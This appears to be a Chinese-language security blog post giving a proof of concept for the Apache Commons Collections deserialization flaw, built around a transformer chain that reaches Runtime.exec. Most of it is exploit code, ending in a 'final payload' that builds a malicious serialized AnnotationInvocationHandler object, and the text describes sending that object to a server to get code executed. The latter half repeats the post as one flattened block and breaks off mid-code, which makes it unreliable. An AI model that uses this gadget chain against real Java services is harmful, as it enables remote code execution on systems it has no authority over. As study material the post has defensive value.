Apache Commons Collections反序列漏洞poc
字数 2668 2022-08-25 22:27:35
漏洞触发原理poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class ApacheSerialize1 {
    public static void main(String[] args) throws Exception {
        //1、创建Transformer型数组,构建漏洞核心利用代码
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        //2、将transformers数组存入ChaniedTransformer类
        Transformer transformerChain = new ChainedTransformer(transformers);
    //3、创建Map,给予map数据转化链
    Map innerMap = new HashMap();
    innerMap.put("key", "value");
    //给予map数据转化链,该方法有三个参数:
    // 第一个参数为待转化的Map对象
    // 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
    // 第三个参数为Map对象内的value要经过的转化方法(可为单个方法,也可为链,也可为空)
    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
    //4、触发漏洞利用链,利用漏洞
    onlyElement.setValue("test");
}

}

代码总结
  1. 创建transformers数组,构建漏洞核心利用代码。
  2. 将transformers数组存入ChaniedTransformer类。
  3. 创建Map,给予map数据转化链
  4. 触发漏洞利用链,利用漏洞
漏洞触发流程总结

1、transform数组里面含有4个实现了Transformer接口的对象,这四个对象都重写了transform()方法
2、ChianedTransformer里面装了4个transform,ChianedTransformer也实现了Transformer接口,同样重写了transform()方法
3、TransoformedMap绑定了ChiandTransformer,给予map数据转化链,当map里的数据进行修改时,需经过ChiandTransformer转换链
4、利用TransoformedMap的setValue修改map数据,触发ChiandTransformer的transform()方法
5、ChianedTransformer的transform是一个循环调用该类里面的transformer的transform方法

loop 1:第一次循环调用ConstantTransformer("java.Runtime")对象的transformer方法,调用参数为"test"(正常要修改的值),返回了java.Runtime作为下一次循环的object参数
loop 2:第二次循环调用InvokerTransformer对象的transformer,参数为("java.Runtime"),包装Method对象"getMethod"方法,invoke方法获得对象所声明方法"getRuntime",利用反射,返回一个Rumtime.getRuntime()方法
loop 3:第三次循环调用InvokerTransformer对象的transformer,参数为("Rumtime.getRuntime()"),包装Method对象"invoke"方法,利用反射,返回一个Rumtime.getRuntime()实例
loop 4:第四次循环调用InvokerTransformer对象的transformer,参数为一个Runtime的对象实例,包装Method对象"exec"方法,invoke方法获得对象所声明方法"calc.exe",利用反射,执行弹出计算器操作

下一步

目前的POC只是被执行了,我们要利用此漏洞,就需要通过网络传输payload,在服务端对我们传过去的payload进行反序列时执行代码。而且该POC的关键依赖于Map中某一项去调用setValue( ) ,而这完全不可控。

因此就需要寻找一个可序列化类,该类重写了readObject( )方法,并且在readObject( )中进行了setValue( ) 操作,且这个Map变量是可控的。需要注意的时,在java中如果重写了某个类的方法,就会优先调用经过修改后的方法。
在java中,确实存在一个类AnnotationInvocationHandler,该类重写了readObject( )方法,并且执行了setValue( ) 操作,且Map变量可控,如果可以将TransformedMap装入这个AnnotationInvocationHandler类,再传过去,服务端在对其进行反序列化操作时,就会触发漏洞。

最终payload
package Serialize;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class ApacheSerialize implements Serializable {
public static void main(String[] args) throws Exception{
//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

    //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
    Transformer transformerChain = new ChainedTransformer(transformers);

    //Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
    Map map = new HashMap();
    map.put("value", "test");

    //Map数据结构,转换后的Map
    /*
    TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
        第一个参数为待转化的Map对象
        第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
        第三个参数为Map对象内的value要经过的转化方法。
   */
    //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
    Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

    //反射机制调用AnnotationInvocationHandler类的构造函数
    //forName 获得类名对应的Class对象
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    //通过反射调用私有的的结构:私有方法、属性、构造器
    //指定构造器
    
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    //取消构造函数修饰符限制,保证构造器可访问
    ctor.setAccessible(true);

    //获取AnnotationInvocationHandler类实例
    //调用此构造器运行时类的对象
    Object instance=ctor.newInstance(Target.class, transformedMap);

    //序列化
    FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
    objectOutputStream.writeObject(instance);
    objectOutputStream.close();

    //反序列化
    FileInputStream fileInputStream = new FileInputStream("serialize.txt");
    ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
    Object result = objectInputStream.readObject();
    objectInputStream.close();
    System.out.println(result);
}

}

} 代码总结 创建transformers数组,构建漏洞核心利用代码。 将transformers数组存入ChaniedTransformer类。 创建Map,给予map数据转化链 触发漏洞利用链,利用漏洞 漏洞触发流程总结 1、transform数组里面含有4个实现了Transformer接口的对象,这四个对象都重写了transform()方法 2、ChianedTransformer里面装了4个transform,ChianedTransformer也实现了Transformer接口,同样重写了transform()方法 3、TransoformedMap绑定了ChiandTransformer,给予map数据转化链,当map里的数据进行修改时,需经过ChiandTransformer转换链 4、利用TransoformedMap的setValue修改map数据,触发ChiandTransformer的transform()方法 5、ChianedTransformer的transform是一个循环调用该类里面的transformer的transform方法 loop 1:第一次循环调用ConstantTransformer("java.Runtime")对象的transformer方法,调用参数为"test"(正常要修改的值),返回了java.Runtime作为下一次循环的object参数 loop 2:第二次循环调用InvokerTransformer对象的transformer,参数为("java.Runtime"),包装Method对象"getMethod"方法,invoke方法获得对象所声明方法"getRuntime",利用反射,返回一个Rumtime.getRuntime()方法 loop 3:第三次循环调用InvokerTransformer对象的transformer,参数为("Rumtime.getRuntime()"),包装Method对象"invoke"方法,利用反射,返回一个Rumtime.getRuntime()实例 loop 4:第四次循环调用InvokerTransformer对象的transformer,参数为一个Runtime的对象实例,包装Method对象"exec"方法,invoke方法获得对象所声明方法"calc.exe",利用反射,执行弹出计算器操作 下一步 目前的POC只是被执行了,我们要利用此漏洞,就需要通过网络传输payload,在服务端对我们传过去的payload进行反序列时执行代码。而且该POC的关键依赖于Map中某一项去调用setValue( ) ,而这完全不可控。 因此就需要寻找一个可序列化类,该类重写了 readObject( ) 方法,并且在 readObject( ) 中进行了 setValue( ) 操作,且这个Map变量是可控的。需要注意的时,在java中如果重写了某个类的方法,就会优先调用经过修改后的方法。 在java中,确实存在一个类 AnnotationInvocationHandler ,该类重写了 readObject( ) 方法,并且执行了 setValue( ) 操作,且Map变量可控,如果可以将 TransformedMap 装入这个 AnnotationInvocationHandler 类,再传过去,服务端在对其进行反序列化操作时,就会触发漏洞。 最终payload package Serialize; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.* ; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class ApacheSerialize implements Serializable { public static void main(String[ ] args) throws Exception{ //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组 Transformer[] transformers = new Transformer[ ]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[ 0 ]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[ 0 ]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[ ]{"calc.exe"}) }; }